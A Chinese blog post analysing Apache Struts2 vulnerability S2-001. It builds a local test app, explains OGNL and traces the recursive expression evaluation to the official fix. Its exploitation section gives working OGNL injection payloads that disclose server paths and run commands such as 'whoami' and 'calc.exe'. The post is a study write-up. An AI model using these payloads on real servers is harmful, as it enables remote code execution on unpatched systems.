zoukankan      html  css  js  c++  java
  • S2-001漏洞分析

    前言

    开始好好学Java,跟着师傅们的文章走一遍

    Strust简介

    Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。

    工作流程:

    漏洞复现

    漏洞简介

    漏洞详情:
    https://cwiki.apache.org/confluence/display/WW/S2-001

    由于OGNL表达式的递归执行,造成了命令执行

    环境搭建

    mac下直接brew install tomcat
    catalina run启动tomcat
    brew services start tomcat后台启动服务

    • Apache Tomcat/8.5.53
    • IntelliJ IDEA

    建好后从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包
    导入项目所需的包File->Project Structure

    然后搭建环境,项目结构如图

    src下新建struts.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE struts PUBLIC
            "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
            "http://struts.apache.org/dtds/struts-2.0.dtd">
    <struts>
        <package name="S2-001" extends="struts-default">
            <action name="login" class="com.demo.action.LoginAction">
                <result name="success">welcome.jsp</result>
                <result name="error">index.jsp</result>
            </action>
        </package>
    </struts>
    

    修改web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
        <display-name>S2-001 Example</display-name>
        <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
        <welcome-file-list>
            <welcome-file>index.jsp</welcome-file>
        </welcome-file-list>
    </web-app>
    

    index.jsp

    <%--
      Created by IntelliJ IDEA.
      User: twosmi1e
      Date: 2020/11/19
      Time: 2:25 下午
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page language="java" contentType="text/html; charset=UTF-8"
             pageEncoding="UTF-8"%>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>S2-001</title>
    </head>
    <body>
    <h2>S2-001 Demo</h2>
    <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
    <s:form action="login">
      <s:textfield name="username" label="username" />
      <s:textfield name="password" label="password" />
      <s:submit></s:submit>
    </s:form>
    </body>
    </html>
    

    welcome.jsp

    <%--
      Created by IntelliJ IDEA.
      User: twosmi1e
      Date: 2020/11/19
      Time: 3:09 下午
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page language="java" contentType="text/html; charset=UTF-8"
             pageEncoding="UTF-8"%>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>S2-001</title>
    </head>
    <body>
    <p>Hello <s:property value="username"></s:property></p>
    </body>
    </html>
    

    在src下新建名为com.demo.action的package
    LoginAction.java

    package com.demo.action;
    
    import com.opensymphony.xwork2.ActionSupport;
    
    public class LoginAction extends ActionSupport {
        private String username = null;
        private String password = null;
    
        public String getUsername() {
            return this.username;
        }
    
        public String getPassword() {
            return this.password;
        }
    
        public void setUsername(String username) {
            this.username = username;
        }
    
        public void setPassword(String password) {
            this.password = password;
        }
    
        public String execute() throws Exception {
            if ((this.username.isEmpty()) || (this.password.isEmpty())) {
                return "error";
            }
            if ((this.username.equalsIgnoreCase("admin"))
                    && (this.password.equals("admin"))) {
                return "success";
            }
            return "error";
        }
    }
    

    然后点击Build->Build Project
    配置好tomcat,
    homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec

    run起来会看到如下画面

    漏洞利用

    点击submit后 ognl表达式会解析执行 返回2

    获取tomcat路径

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

    获取web路径

    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

    命令执行

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    OGNL表达式

    OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。

    OGNL三要素

    • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
    • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
    • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

    表达式功能操作清单:

    1. 基本对象树的访问
      对象树的访问就是通过使用点号将对象的引用串联起来进行。
      例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
    1. 对容器变量的访问
      对容器变量的访问,通过#符号加上表达式进行。
      例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
    1. 使用操作符号
      OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
    1. 容器、数组、对象
      OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
      同时,OGNL支持对Map的按键值查找:
      例如:#session['mySessionPropKey']
      不仅如此,OGNL还支持容器的构造的表达式:
      例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
      你也可以通过任意类对象的构造函数进行对象新建
      例如:new Java.net.URL("xxxxxx/")
    1. 对静态方法或变量的访问
      要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
    1. 方法调用
      直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
      例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
    1. 投影和选择
      OGNL支持类似数据库中的投影(projection) 和选择(selection)。
      投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
      例如:group.userList.{username}将获得某个group中的所有user的name的列表。
      选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
      ? 选择满足条件的所有元素
      ^ 选择满足条件的第一个元素
      $ 选择满足条件的最后一个元素
      例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

    表达式注入总结By mi1k7ea.

    漏洞分析

    由上图工作流程我们可以看到,当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

    找到默认使用的拦截器栈

    在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。其中, params拦截器 会将客户端请求数据设置到 值栈(valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。

    在经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error 。

    然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253

    继续跟,主要问题在translateVariables这个函数里

    /**
      * Converted object from variable translation.
      *
      * @param open
      * @param expression
      * @param stack
      * @param asType
      * @param evaluator
      * @return Converted object from variable translation.
      */
     public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
         // deal with the "pure" expressions first!
         //expression = expression.trim();
         Object result = expression;
    
         while (true) {
             int start = expression.indexOf(open + "{");
             int length = expression.length();
             int x = start + 2;
             int end;
             char c;
             int count = 1;
             while (start != -1 && x < length && count != 0) {
                 c = expression.charAt(x++);
                 if (c == '{') {
                     count++;
                 } else if (c == '}') {
                     count--;
                 }
             }
             end = x - 1;
    
             if ((start != -1) && (end != -1) && (count == 0)) {
                 String var = expression.substring(start + 2, end);
    
                 Object o = stack.findValue(var, asType);
                 if (evaluator != null) {
                 	o = evaluator.evaluate(o);
                 }
                 
    
                 String left = expression.substring(0, start);
                 String right = expression.substring(end + 1);
                 if (o != null) {
                     if (TextUtils.stringSet(left)) {
                         result = left + o;
                     } else {
                         result = o;
                     }
    
                     if (TextUtils.stringSet(right)) {
                         result = result + right;
                     }
    
                     expression = left + o + right;
                 } else {
                     // the variable doesn't exist, so don't display anything
                     result = left + right;
                     expression = left + right;
                 }
             } else {
                 break;
             }
         }
    
         return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
     }
    

    第一次执行的时候 会取出%{username}的值,即%{1+1}
    通过if ((start != -1) && (end != -1) && (count == 0))的判断,跳过return

    通过Object o = stack.findValue(var, asType);把值赋给o

    然后赋值给expression,进行下一次循环

    第二次循环会执行我们构造的OGNL表达式
    可以看到执行后结果为2

    然后再次循环,经过if判断过后return

    后面经过处理后返回index.jsp

    漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式,造成了OGNL表达式的执行

    漏洞修复

    官方修复代码

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int loopCount = 1;
        int pos = 0;
        while (true) {
    
            int start = expression.indexOf(open + "{", pos);
            if (start == -1) {
                pos = 0;
                loopCount++;
                start = expression.indexOf(open + "{");
            }
            if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
            }
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;
    
            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);
    
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
    
    
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (!TextUtils.stringSet(left)) {
                        result = o;
                    } else {
                        result = left + middle;
                    }
    
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
    
                    expression = left + middle + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
                pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                      (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                      1;
                pos = Math.max(pos, 1);
            } else {
                break;
            }
        }
    
        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }
    

    可以看到增加了对OGNL递归解析次数的判断,默认情况下只会解析第一层

    if (loopCount > maxLoopCount) {
        // translateVariables prevent infinite loop / expression recursive evaluation
        break;
    }
    

    总结

    入门找了S2-001跟着师傅们的文章学习了一下,原理还是很简单,就是调试java过程很费时间。
    最后弹个计算器收尾吧,(不知道为什么mac上弹/System/Application/Calculator.app没弹成功

    %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
    

    参考

    https://mochazz.github.io/2020/06/16/Java代码审计之Struts2-001/#漏洞分析
    https://xz.aliyun.com/t/2672
    https://xz.aliyun.com/t/2044

  • 相关阅读:
    linux的常用命令--pwd命令【持续补充ing】
    linux的常用命令--cp命令【持续补充ing】
    linux的常用命令--mkdir【持续补充ing】
    linux的常用命令--su篇【持续补充ing】
    linux的常用命令--ls篇【持续补充ing】
    linux的常用命令--cd篇【持续补充ing】
    【SQL Server 2008数据库基础篇】常用关键字、数据类型和常用语法
    SpingBoot之多Profile文件
    SpringBoot之YAML
    SpringBoot之HelloWorld仔细分析
  • 原文地址:https://www.cnblogs.com/twosmi1e/p/14020361.html
Copyright © 2011-2022 走看看